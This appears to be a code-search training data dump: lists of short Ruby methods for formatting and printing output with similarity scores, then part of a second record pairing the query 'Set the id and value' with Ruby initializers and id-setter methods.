"def print_out_line\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd\n #beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def format!; end",
"def format=(procedure); end",
"def formatter; end",
"def formatter; end",
"def formatter; end",
"def output_formatted_text(output_string)\n puts output_string\n end",
"def print_out_line\n\t\t\t#p ['id', id, 'ctd', ctd]\n\t\t\t#p rcp.results.zip(rcp.results.map{|r| send(r)})\n\t\t\tname = @run_name\n\t\t\tname += \" (res: #@restart_id)\" if @restart_id\n\t\t\tname += \" real_id: #@real_id\" if @real_id\n\t\t\tbeginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s)\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s)\n\t\t\tif @status == :Incomplete and @completed_timesteps\n\t\t\t\tbeginning += sprintf(\" %d steps \", @completed_timesteps)\n\t\t\telsif @percent_complete\n \t\t\t\tbeginning+=sprintf(\" %3s%1s \", percent_complete, \"%\")\n\t\t\tend\n\t\t\tif ctd\n\t\t\t\t#beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n\t\t\tend\n\t\t\tbeginning += \" ---#{@comment}\" if @comment\n\t\t\tbeginning\n\t\tend",
"def to_ps\n ret = \"#{self.class.name}:\\n\"\n c = 0\n @fields.each_pair do |p|\n field = p[1]\n next if field.nil?\n if field.is_a?(NumField) || field.is_a?(ApduList)|| field.is_a?(VarNumField)\n if field.optfield.nil? || field.optfield.value == 1\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, field.hexstr)\n else\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \"--\")\n end\n c = 0\n else #only for bitfield\n ret = ret + sprintf(\" %-28s %s\\n\", field.define, \" \" * c + field.bitstr)\n c += field.length\n end\n end\n return ret\n end",
"def print_out_line\n #p ['id', id, 'ctd', ctd]\n #p rcp.results.zip(rcp.results.map{|r| send(r)})\n name = @run_name\n name += \" (res: #@restart_id)\" if @restart_id\n name += \" real_id: #@real_id\" if @real_id\n beginning = sprintf(\"%2d:%d %-60s %1s:%2.1f(%s) %3s%1s\", @id, @job_no, name, @status.to_s[0,1], @run_time.to_f / 60.0, @nprocs.to_s, percent_complete, \"%\")\n if ctd and fusionQ\n beginning += sprintf(\"Q:%f, Pfusion:%f MW, Ti0:%f keV, Te0:%f keV, n0:%f x10^20\", fusionQ, pfus, ti0, te0, ne0)\n end\n beginning += \" ---#{@comment}\" if @comment\n beginning\n end",
"def formato\n \"\n Queso Cada 100g o 100ml IR\n \n Valor energético #{nrg_kj} kj #{nrg_kj_ir}%\n (kj/kcal) #{nrg_cal} kcal\n \n Grasas de las #{@grasa} g #{grasa_ir}%\n cuales:\n Saturadas #{@saturada} g #{saturada_ir}%\n Monoinsaturadas #{@monoinsat} g -\n Poliinsaturadas #{@poliinsat} g -\n \n Hidratos de #{@hidrato} g #{hidrato_ir}% \n carbono de los\n cuales:\n Azucares #{@azucar} g #{azucar_ir}%\n Polialcoholes #{@polialco} g -\n Almidones #{@almidon} g -\n \n Fibra alimentaria #{@fibra} g -\n \n Proteinas #{@proteina} g #{proteina_ir}%\n \n Sal #{@sal} g #{sal_ir}%\"\n end",
"def print_output\n output.map { |line| (line =~ /^\\-$/) ? ('-' * total_width) : line.rjust(total_width) }\n end",
"def formatting\n return \"\\e[0;32m%c/%C |%b>%i| %e\\e[0m\"\n end",
"def formatForSTDOUT()\n output = \"Total Reads Produced = \" + @totalReadsProduced.to_s + \"\\r\\n\" +\n \"Duplicate Reads = \" + @numDuplicateReads.to_s + \" (\" + @perDuplicateReads.to_s + \")%\\r\\n\" +\n \"Total Reads Aligned = \" + @numAlignedReads.to_s + \" (\" + @perAlignedReads.to_s + \")%\\r\\n\" +\n \"Paired Reads = \" + @numReadsPaired.to_s + \"\\r\\n\" +\n \"Reads Paired with Mapped Mates = \" + @numReadAndMatePaired.to_s + \"\\r\\n\" +\n \"Buffer Aligned Reads = \" + @numBufferAlignedReads.to_s + \" (\" + @perBufferAlignedReads.to_s + \")%\\r\\n\" + \n \"Target Aligned Reads = \" + @numTargetAlignedReads.to_s + \" (\" + @perTargetAlignedReads.to_s + \")%\\r\\n\" +\n \"Average Coverage = \" + @avgCoverage.to_s + \"\\r\\n\" +\n \"Reads on Target or Buffer = \" + @numReadsTargetBuffer.to_s + \" (\" + @perReadsTargetBuffer.to_s + \")%\\r\\n\" +\n \"Total Aligned Reads (Expected) = \" + @totalExpAlignedReads.to_s + \"\\r\\n\" +\n \"Total Aligned Reads (Calculated) = \" + @totalCalcAlignedReads.to_s + \"\\r\\n\" +\n \"Targets Hit = \" + @numTargetsHit.to_s + \" (\" + @perTargetsHit.to_s + \")%\\r\\n\" +\n \"Target Buffers Hit = \" + @numTargetBuffersHit.to_s + \" (\" + @perTargetBuffersHit.to_s + \")%\\r\\n\" +\n \"Total Targets = \" + @numTotalTargets.to_s + \"\\r\\n\" +\n \"Non Target Hits = \" + @numNonTarget.to_s + \"\\r\\n\" +\n \"Bases on Target = \" + @numTargetedBases.to_s + \"\\r\\n\" +\n \"Buffer Bases = \" + @numBufferBases.to_s + \"\\r\\n\" + \n \"Bases with 1+ Coverage = \" + @numBases1Coverage.to_s + \" (\" + @perBases1Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 4+ Coverage = \" + @numBases4Coverage.to_s + \" (\" + @perBases4Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 10+ Coverage = \" + @numBases10Coverage.to_s + \" (\" + @perBases10Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 20+ Coverage = \" + @numBases20Coverage.to_s + \" (\" + @perBases20Coverage.to_s + \")%\\r\\n\" +\n \"Bases with 40+ Coverage = \" + @numBases40Coverage.to_s + \" (\" + @perBases40Coverage.to_s + \")%\\r\\n\"\n return output\n end",
"def formatting(str)\n puts str * 80\nend",
"def format; :n3; end",
"def write_separator\n @stream.puts('')\n end",
"def format_postfix p\n p.to_s\n end",
"def print()\n printf \"\\nAuthor ID: %d affiliation: %s affiliation short: %s country: %s\\n\", self.article_author_id, self.name, self.short_name, self.country\n printf \"\\nAddress: %s, %s, %s, %s, %s\\n\", self.add_01, self.add_02, self.add_03,self.add_04, self.add_05\n end",
"def print\n return ''\n end",
"def pretty_print_me\n sio = PP.pp(self, \"\")\n\n # aber bitte ohne die ids und ohne @\n sio.gsub(/0x[^\\s]*/,'').gsub(/@/,'')\n end",
"def prn\n puts \" #{(0..8).to_a.join(\" \")}\"\n puts \" #{'-' * (2 * 9)}\"\n g.each_with_index do |v, i|\n # ERROR: print function doesn't display values and doesn't use colors\n # puts \"#{i} #{v.join(\" \")}\"\n puts \"#{i} | #{v.map{|t| t.n.to_s.colorize(t.c) }.join(' ')}\"\n end\n end",
"def format_print(print_values)\n widths = Array.new(print_values[0].size, 0)\n print_values.each do |print_value|\n widths = widths.zip(print_value).map! {|width, value| value.length > width ? value.length : width }\n end\n\n print_values.each do |print_value|\n widths.zip(print_value) do |width, value|\n printf(\"%-#{width + 5}s\", value)\n end\n puts \"\"\n end\n end",
"def pretty\n cpf_numbers = numeric\n \"%s.%s.%s-%s\" % [cpf_numbers[0..2], cpf_numbers[3..5], cpf_numbers[6..8], cpf_numbers[9..10]]\n end",
"def console_header(str)\n width = 20\n delimiter = '-' * width\n puts delimiter\n puts str.center(width)\n puts delimiter\nend",
"def format *reference\n @last_b = @last_c = @last_v = :undefined\n @result = []\n reference.flatten.each do |entry|\n next if entry.kind_of? Sep\n @pass = entry\n process_passage\n end\n @result.join\n end",
"def to_s(formatting = :default)\n puts \"Called\"\n case formatting\n when :inline\n \"#{street}, #{piv(street_2, true)}#{piv(street_3, true)}#{city}, #{porsa}, #{zip}#{cif(true)}\"\n else\n \"#{street}\\n#{piv(street_2)}#{piv(street_3)}#{city}, #{porsa} #{zip}#{cif}\"\n end\n end",
"def print_separator\n\t40.times {print '-'}\n\tputs\nend",
"def peek_format\n\t\t\tpeek_data = [\"SNAP \"] # I is taken by IP\n\t\t\tpeek_data << \"%-5d\" % self.to_s.size\n\t\t\tpeek_data << \"%04x\" % self.snap_oui.to_i\n\t\t\ttype = case self.snap_type.to_i\n\t\t\t\t\t\t when 8192\n\t\t\t\t\t\t\t \"CDP\"\n\t\t\t\t\t\t else\n\t\t\t\t\t\t\t \"%04x\" % [self.snap_type]\n\t\t\t\t\t\t end\n\t\t\tpeek_data << \"%-21s\" % \"#{type}\"\n\t\t\tpeek_data.join\n\t\tend",
"def print_piece(piece, separator)\nprint \" #{ piece } #{ separator }\"\nend",
"def separator(num_of_astrsk = 24)\n $report_file.puts(\"*\" * num_of_astrsk)\nend",
"def print_products_ASCII\n $report_file.puts \"\n\n ╔═╗┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐┌─┐\n ╠═╝├┬┘│ │ │││ ││ │ └─┐\n ╩ ┴└─└─┘─┴┘└─┘└─┘ ┴ └─┘\n\"\nend",
"def format(lines, cur_no)\n lastno = lines.keys.max\n lines.map do |num, line|\n sign = num + 1 == cur_no ? '=> ' : ' ' * 3\n super('%s%*d: %s', sign, lastno.to_s.size, num + 1, line)\n end.join(\"\\n\")\n end",
"def output_line(line)\n output = line[:mode] + ' '\n output << line[:repl] + ' '\n output << line[:owner].ljust(@alignment[:owner]) + ' '\n output << line[:group].ljust(@alignment[:group]) + ' '\n output << line[:size].rjust(@alignment[:size]) + ' '\n output << line[:time] + ' '\n output << line[:name] + \"\\n\"\n puts output\n end",
"def pretty_print\n @word_display.each do |letter|\n print \"#{letter} \"\n end\n puts \"\"\n end",
"def output(o);printf o;end",
"def printer\n puts \" \" + @bio\n end",
"def print(params)\n raise \"No :service or :services argument given\" unless params.has_key?(:service) || params.has_key?(:services)\n services = arrayify(params[:services]) | arrayify(params[:service])\n\n result = \"\"\n services.each do |service|\n result += sprintf(\"%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\t%s\\n\",\n format_field(service.host),\n format_field(service.config_path),\n format_field(service.status),\n format_field(service.build),\n format_field(service.core_type),\n format_field(service.machine),\n format_field(service.ip),\n format_field(service.agent_status))\n end\n result\n end",
"def to_s\n r = \"##### ##### ##### ##### #####\\n\"\n (0..2).each { |y|\n (0..2).each { |x|\n r += get_print_char(x,y, '.') + \" \"\n }\n r += (\" \" * 5)\n (0..2).each { |x|\n r += get_print_char(x,y, nil, \" \", \" \") + \" \"\n }\n r += \"\\n\"\n }\n r += '##### ##### ##### ##### #####'\n end",
"def format_symbol\n\t\t:format\n\tend",
"def pretty_print(pp)\n pp.text \"Frames: #{available_frames.to_a.sort.join(\", \")}\"\n\n pp.breakable\n pp.text \"Needed Transformations:\"\n transforms = each_transformation.map { |tr| [tr.from, tr.to] }.sort\n if !transforms.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(transforms) do |tr|\n pp.text \"%s => %s\" % tr\n end\n end\n end\n\n pp.breakable\n pp.text \"Frame/Port Associations:\"\n associations = each_annotated_port.map { |port, frame| [port.name, frame] }.sort\n if !associations.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(associations) do |portdef|\n pp.text \"data of %s is in frame %s\" % portdef\n end\n end\n end\n\n pp.breakable\n pp.text \"Transform Inputs and Outputs:\"\n ports = each_transform_port.map { |port, transform| [port.name, transform.from, transform.to] }.sort\n if !ports.empty?\n pp.nest(2) do\n pp.breakable\n pp.seplist(ports) do |portdef|\n pp.text \"%s: %s => %s\" % portdef\n end\n end\n end\n end",
"def print_out(style, input)\n move_down style[:upper_space]\n font style[:font_variable], :style => $headline_chapter_font_style\n font_size style[:font_size_variable]\n text input\nend",
"def printable\n\t\t@entries.sort.map do |key, value|\n\t\t\t\"[#{key}] \\\"#{value}\\\"\"\n\t\tend.join(\"\\n\")\n\tend",
"def print_formated(f,u,c,i)\n found = Hash.new\n found[\"u\"] = f.index(/(%[\\-\\.0-9]*u[0-9]*)/)\n found[\"c\"] = f.index(/(%[\\-\\.0-9]*c[0-9]*)/)\n found[\"i\"] = f.index(/(%[\\-\\.0-9]*i[0-9]*)/)\n\n username_output_format = /(%[\\-\\.0-9]*u[0-9]*)/.match(f)[1].gsub('u', 's') if !found[\"u\"].nil?\n cpu_usage_output_format = /(%[\\-\\.0-9]*c[0-9]*)/.match(f)[1].gsub('c', 's') if !found[\"c\"].nil?\n iowait_usage_output_format = /(%[\\-\\.0-9]*i[0-9]*)/.match(f)[1].gsub('i', 's') if !found[\"i\"].nil?\n\n libc_f = f\n\n libc_f = libc_f.sub(/%[\\-\\.0-9]*u[0-9]*/, username_output_format) if !found[\"u\"].nil?\n libc_f = libc_f.sub(/%[\\-\\.0-9]*c[0-9]*/, cpu_usage_output_format) if !found[\"c\"].nil?\n libc_f = libc_f.sub(/%[\\-\\.0-9]*i[0-9]*/, iowait_usage_output_format) if !found[\"i\"].nil?\n \n _print_formated(libc_f,create_ordered_output_from_format_string(f,u,c,i))\nend",
"def printable\n \tprint_this = []\n \t@entries.each{ |k,v| print_this << \"[#{k}] \\\"#{v}\\\"\\n\" }\n \tprint_this.sort.join.chomp.chomp\n end",
"def print_header\n printf(\"%18sBATTLE\\n\", \"\")\n puts \"CREATIVE COMPUTING MORRISTOWN, NEW JERSEY\"\nend",
"def stringOutput\n\t\tend",
"def stringOutput\n\t\tend",
"def display\n to_s.split(\"\\n\")\n .map { |line| line.split('').join(' ') }\n .join(\"\\n\")\n end",
"def print()\n str = start_date.to_s + \" \" + end_date.to_s + \" \" + comment.to_s\n end",
"def print_spacer(number_of_dots)\n\t$report_file.puts \"*\" * number_of_dots\nend",
"def print_separator\n str = \"+\" + \"-\" * (title_width + 2)\n \n column_order.length.times do\n str += \"+\" + \"-\" * (column_width + 2)\n end\n \n puts str + '+'\n end",
"def format_output_without_CSV\r\n\t\theadings = [] << \"Run\"\r\n\t\trows = []\r\n\t\t@parameters.each_with_index {|p,i| headings << \"F#{i+1}\"}\r\n\t\t@runs.each_with_index {|r,i| temp = [\"#{i+1}\"]; temp += r; rows << temp}\r\n\t\t@output_table = Terminal::Table.new :title => \"IPO Algorithm tests output\", :headings => headings, :rows => rows\r\n\tend",
"def escape\n puts \"\"\n puts \" \" + \"_\" * 40\n puts \"\"\n end",
"def text_printer(file_handle)\n summary_credit_cards.each do |cc|\n file_handle.puts(\"#{cc[0]}: #{cc[1]}\")\n end\n end",
"def format_quote\n\t\t@final_quote = @number.delete('\"\\\">$')\n\t\treturn @final_quote\n\tend",
"def printable\n asPrintable = \"\"\n doCount = 0 # way to keep track of the entries loop so a new line can be added to the end of the concat string\n @entries.sort.each do |keyWord, value|\n asPrintable += \"[#{keyWord}] \\\"#{value}\\\"\"\n if doCount < @entries.length - 1 # in order for test to pass, it cant have a extra line at the end\n asPrintable += \"\\n\" # only add one if not the last element of the hash\n end\n doCount += 1 # each loop adds one\n end\n asPrintable # return concat string\n end",
"def format_csv()\n require 'iconv'\n \n str = self.to_s\n \n str.gsub!(\",\", \"\")\n str.gsub!(10.chr, \" - \")\n str.gsub!(13.chr, \"\")\n str = Iconv.conv('ISO-8859-1', 'utf-8', str)\n \n return str\n end",
"def format(maker_breaker)\n index = breaker.guess\n index = maker.code if maker_breaker.type == 'code'\n \"#{@pegs[index[0]]} #{@pegs[index[1]]} #{@pegs[index[2]]} #{@pegs[index[3]]}\"\n end",
"def formats; end",
"def formats; end",
"def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end",
"def line_sep(title=nil); print \"\\n#{title} ----\\n\\n\"; end",
"def to_s\r\n pretty_output\r\n end",
"def print_console_sales_report_ascii\n puts sales_report_ascii\nend",
"def format!\n Rake::Utils.capture_stdout do\n result && result.format!\n end.strip\n end",
"def print_result(formatted_result)\n puts formatted_result\n end",
"def prt(outputFile)\n # puts \"\\nFederalist #@fedno\" + \" Title: #@title\" #used for verification before \n puts \"#@fedno Title: #@title\\nPublication: #@pub\\n\\n\" #exporting to HTML doc\n # puts \"Written by: #@auth\"\n outputFile.puts \"<tr><th>#@fedno</th><th>#@auth</th><th>#@title</th><th>#@pub</th></tr>\"\n end",
"def format_output_with_CSV()\r\n\t\theadings = [] << \"Run\"\r\n\t\trows = []\r\n\t\t@actual_parameters.each {|t| headings << t[0]}\r\n\t\t@runs.each_with_index do |run,i|\r\n\t\t\ttemp = [\"#{i+1}\"];\r\n\t\t\trun.each_with_index do |r,i|\r\n\t\t\t\ttemp << @actual_parameters[i][Integer(run[i][1])]\r\n\t\t\tend\r\n\t\t\trows << temp\r\n\t\tend\r\n\t\t@output_table = Terminal::Table.new :title => \"IPO Algorithm tests output\", :headings => headings, :rows => rows\r\n\tend",
"def output()\n add_newline if @linebreak\n @text\n end",
"def format(number)\n \"\".tap do |output|\n # The next two lines will only ever give us\n # the fizzbuzz behavior we've been after.\n #\n # What if we wanted to be able to turn these\n # into configuration data being read from\n # our robot's memory bank after we turn it on?\n output << \"fizz\" if even_split?(number, 3)\n output << \"buzz\" if even_split?(number, 5)\n output << number.to_s if output.empty?\n end\n end",
"def address_for_print(separator = \"\\n\")\n person.sdb.address.for_print(local_or_permanent_address, separator)\n end",
"def test_print_0\n dotest(\n'''<process-definition name=\"print_0\" revision=\"0\">\n <sequence>\n <print escape=\"true\">${f:xxx}</print>\n </sequence>\n</process-definition>''', \"${f:xxx}\")\n end",
"def separator(text)\n puts '--%s' % text\nend",
"def print(string)\n terminator = @options[\"Terminator\"]\n\n if @options[\"Binmode\"]\n self.write(string)\n else\n self.write(string.gsub(/\\n/n, terminator))\n end\n end",
"def print()\n body = \"--- AuthenticationStart ---\\n\" +\n \"[Action] #{xlate_action}\\n\" + \n \"[Privilege Level] #{@priv_lvl}\\n\" + \n \"[Authentication Type] #{xlate_authen_type}\\n\" + \n \"[Service] #{xlate_service}\\n\" + \n \"[User Length] #{@user_len}\\n\" + \n \"[Port Length] #{@port_len}\\n\" + \n \"[Remote Addr Length] #{@rem_addr_len}\\n\" + \n \"[Data Length] #{@data_len}\"\n\n body << \"\\n[User] #{@user.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@user)\n body << \"\\n[Port] #{@port.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@port)\n body << \"\\n[Remote Addr] #{@rem_addr.gsub(/\\n/,\"\\n\" + \" \" * 14)}\" if (@rem_addr)\n body << \"\\n[Data] #{@data.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@data)\n return(body)\n end",
"def pretty_output #two columns\n alphabetical_keys = @concordance_hash.keys.sort\n half = (alphabetical_keys.length - 1) / 2\n alphabetical_keys[0..half].each_with_index do |key, idx|\n value = \"{\" + @concordance_hash[key][0].to_s + \":\" +\n @concordance_hash[key][1..-1].to_s.delete(\"[] \") + \"}\"\n\n key2 = alphabetical_keys[1 + idx + half]\n value2 = \"{\" + @concordance_hash[key2][0].to_s + \":\" +\n @concordance_hash[key2][1..-1].to_s.delete(\"[] \") + \"} \\n\"\n if 1 + idx + half >= alphabetical_keys.length\n value2 = \"\\n\"\n end\n\n printf \"%-15s %-20s %-15s %s\", key, value, key2, value2\n end\n end",
"def formatters; end",
"def output\n temp_string = basic_output()\n if @polygon != nil\n temp_string = temp_string + \"$Polygon\\n\"\n temp_string = temp_string + \"$\\t#{@polygon.utype} = #{@polygon.commandName}\\n\"\n end\n if @zone != nil\n temp_string = temp_string + \"$Zone\\n\"\n temp_string = temp_string + \"$\\t#{@zone.utype} = #{@zone.commandName}\\n\"\n end\n return temp_string\n end",
"def printf(format_string,*args,**opts)\n stdout = opts.fetch(:out, $stdout)\n\n # Sanitize rule symbols\n sanitized = format_string.dup\n @rules.keys.each { |k| sanitized.gsub!(\"#{@symbols.rule}#{k.to_s}\",\"#{255.chr}#{k.to_s}\") }\n sanitized.gsub!(@symbols.reset, 255.chr*2)\n\n t = sanitized % args\n # Reinstate rule symbols\n @rules.keys.each { |k| t.gsub!(\"#{255.chr}#{k.to_s}\",\"#{@symbols.rule}#{k.to_s}\") }\n t.gsub!(255.chr*2,@symbols.reset)\n\n stdout.print apply(t)\n end",
"def print()\n body = \"--- AuthenticationContinue ---\\n\" +\n \"[User Message Length] #{@user_msg_len}\\n\" +\n \"[Data Length] #{@data_len}\\n\" +\n \"[Flags] #{xlate_flags}\" \n \n body << \"\\n[User Message] #{@user_msg.gsub(/\\n/,\"\\n\" + \" \" * 15)}\" if (@user_msg)\n body << \"\\n[Data] #{@data.gsub(/\\n/,\"\\n\" + \" \" * 7)}\" if (@data)\n return(body)\n end",
"def print\r\n puts self.output\r\n end",
"def display\n encoded_asterisks, encoded_text = cmd('?FL', /^FL([0-9A-F]{2})([0-9A-F]{28})$/)\n return nil unless encoded_asterisks && encoded_text\n\n str = case encoded_asterisks\n when '00' then ' '\n when '01' then ' *'\n when '02' then '* '\n when '03' then '**'\n else; ''\n end\n\n return str + encoded_text.unpack('a2' * 14).map { |c| c.to_i(16).chr }.join\n end",
"def formatted_client_display_info\n output_info = []\n output_info << \"Name: #{@name}\"\n output_info << \"Age: #{@age}\"\n output_info << \"Children: #{@number_of_children}\"\n output_info << \"Pets: #{self.number_of_pets}\"\n @pets.each { |k, pet| output_info << \" #{pet.name} is #{pet.age}, and likes to play with... #{pet.toys}\" }\n # add a blank line\n output_info << \" \"\n return output_info\n end",
"def format_ouput(str1,str2)\n len = 50 - str1.length\n space = \"#{'-' * len}\".to_s\n str1.concat(space)\n str1.concat(str2.to_s)\n str1\nend",
"def sales_report_ascii\n \" ##### ###### \\n\" +\n \" # # ## # ###### #### # # ###### ##### #### ##### #####\\n\" +\n \" # # # # # # # # # # # # # # # # \\n\" +\n \" ##### # # # ##### #### ###### ##### # # # # # # # \\n\" +\n \" # ###### # # # # # # ##### # # ##### # \\n\" +\n \" # # # # # # # # # # # # # # # # # \\n\" +\n \" ##### # # ###### ###### #### # # ###### # #### # # # \\n\" +\n \"********************************************************************************\"\nend",
"def to_s\n super\n @out << \"\\nTalla\\tPeso\\tCintura\\tCadera\\tBicipital\\tTricipital\\tSubescapular\\tSuprailiaco\\tBrazo\\n\"\n @out << @talla.to_s\n @out << \"\\t\"\n @out << @peso.to_s\n @out << \"\\t\"\n @out << @cintura.to_s\n @out << \"\\t\"\n @out << @cadera.to_s\n @out << \"\\t\"\n @out << @bicipital.to_s\n @out << \"\\t\"\n @out << @tricipital.to_s\n @out << \"\\t\"\n @out << @subescapular.to_s\n @out << \"\\t\"\n @out << @suprailiaco.to_s\n @out << \"\\t\"\n @out << @brazo.to_s\n @out << \"\\n\"\n @out\n end",
"def to_s ; format ; end",
"def peek_format\n peek_data = [\"I \"]\n peek_data << \"%-5d\" % to_s.size\n peek_data << \"%-21s\" % \"#{ip_saddr}\"\n peek_data << \"->\"\n peek_data << \"%21s\" % \"#{ip_daddr}\"\n peek_data << \"%23s\" % \"I:\"\n peek_data << \"%04x\" % ip_id.to_i\n peek_data.join\n end"
] | [
"0.6214708",
"0.62108475",
"0.6137955",
"0.60222536",
"0.60222536",
"0.60222536",
"0.60222536",
"0.60222536",
"0.60222536",
"0.60222536",
"0.60222536",
"0.6014265",
"0.5984492",
"0.5954122",
"0.5916429",
"0.5916429",
"0.5916429",
"0.5889493",
"0.5864472",
"0.58469",
"0.5823263",
"0.5809075",
"0.57539254",
"0.57496417",
"0.5702419",
"0.56824726",
"0.56248397",
"0.56202155",
"0.55993295",
"0.55683017",
"0.55582756",
"0.5548633",
"0.5533759",
"0.5519505",
"0.55131495",
"0.5506697",
"0.5502631",
"0.54984295",
"0.5475494",
"0.54716414",
"0.5458806",
"0.5454885",
"0.54408103",
"0.54398566",
"0.543671",
"0.5435518",
"0.5426558",
"0.541638",
"0.5413647",
"0.5411687",
"0.5409579",
"0.5406866",
"0.53999025",
"0.5388701",
"0.5387805",
"0.5378177",
"0.53777045",
"0.5356428",
"0.5356428",
"0.5354018",
"0.53507024",
"0.53505385",
"0.53478956",
"0.53424454",
"0.53376716",
"0.53280044",
"0.53249395",
"0.53192484",
"0.5316576",
"0.53151095",
"0.5313384",
"0.5313384",
"0.5308905",
"0.5308905",
"0.53039324",
"0.5303331",
"0.5293816",
"0.5281498",
"0.5279169",
"0.5274731",
"0.52678084",
"0.52624047",
"0.5260056",
"0.52551126",
"0.5252898",
"0.5251586",
"0.5235352",
"0.523532",
"0.5234431",
"0.5230769",
"0.52306646",
"0.5227577",
"0.5226883",
"0.52228373",
"0.521962",
"0.5218928",
"0.52184474",
"0.52169955",
"0.5213666",
"0.52132493"
] | 0.55058146 | 36 |
Set the id and value | def initialize(id, value)
@id = id
@value = value
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def id=(v)\r\n @id = v\r\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def id=(value)\n @id = value\n end",
"def set_ID(value)\n set_input(\"ID\", value)\n end",
"def id=(id)\n end",
"def id=(value)\n @children['id'][:value] = value\n end",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend",
"def id=(value)\n if value == @defaults['id']\n @values.delete 'id' if @values.key? 'id'\n else\n @values['id'] = value\n end\n end",
"def id=(id)\n write_attr :id, id\n end",
"def set_value\n @value = Value.find(params[:id])\n end",
"def _id=(value)\n @id = value.to_s\n end",
"def id=(id)\r\n attributes[\"ino:id\"]=id.to_s\r\n end",
"def set_id\n @id = Id.find(params[:id])\n end",
"def id=(newid)\n @id = Integer(newid)\n end",
"def id=(newid)\n @id = Integer(newid)\n end",
"def id=(newid)\n @id = Integer(newid)\n end",
"def identifier=(value)\n setId(value)\n end",
"def id=( id )\n\t\tif id.is_a? Fixnum\n\t\t\t@id = id.to_s\n\t\telse\n\t\t\t@id = id\n\t\tend\n\tend",
"def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end",
"def id=(id)\n if id.nil?\n fail ArgumentError, 'invalid value for \"id\", id cannot be nil.'\n end\n @id = id\n end",
"def set_id(id)\n unless id.nil?\n @id = id\n end\n @id\n end",
"def set_element_value(id, value, timeout=nil)\r\n input = normalizeInput(value)\r\n find_by_id(id, timeout) # so we get an error if it isn't found\r\n fill_in id, :with => input\r\n end",
"def id=(id)\n raise IdError, \"#{id} less than 0\" if id < 0\n @id = id \n end",
"def id=(id)\n Element.attr self, 'id', id\n end",
"def set_EntityID(value)\n set_input(\"EntityID\", value)\n end",
"def id=(id)\n @attributes['id'] = id.to_s\n end",
"def set_id(parameter)\n @id = parameter\n end",
"def id=(new_id)\n @id = new_id\n end",
"def set id, name, value\n if exist? id\n @@users[id.to_i][name]=value\n save\n end\n end",
"def set_id(num)\n @id = num\n end",
"def id=(id)\n super(id)\n end",
"def set_VoteSmartID(value)\n set_input(\"VoteSmartID\", value)\n end",
"def set_VoteSmartID(value)\n set_input(\"VoteSmartID\", value)\n end",
"def id=(id) # :nodoc:\n raise NotImplementedError.new('id can not be changed once the object was created')\n end",
"def set_item_value\n @item_value = ItemValue.find(params[:id])\n end",
"def set_PhotoSetID(value)\n set_input(\"PhotoSetID\", value)\n end",
"def set_PhotoSetID(value)\n set_input(\"PhotoSetID\", value)\n end",
"def set_BookId(value)\n set_input(\"BookId\", value)\n end",
"def id=(value)\n if value == @defaults['ai.operation.id']\n @values.delete 'ai.operation.id' if @values.key? 'ai.operation.id'\n else\n @values['ai.operation.id'] = value\n end\n end",
"def id=(value)\n if value == @defaults['ai.operation.id']\n @values.delete 'ai.operation.id' if @values.key? 'ai.operation.id'\n else\n @values['ai.operation.id'] = value\n end\n end",
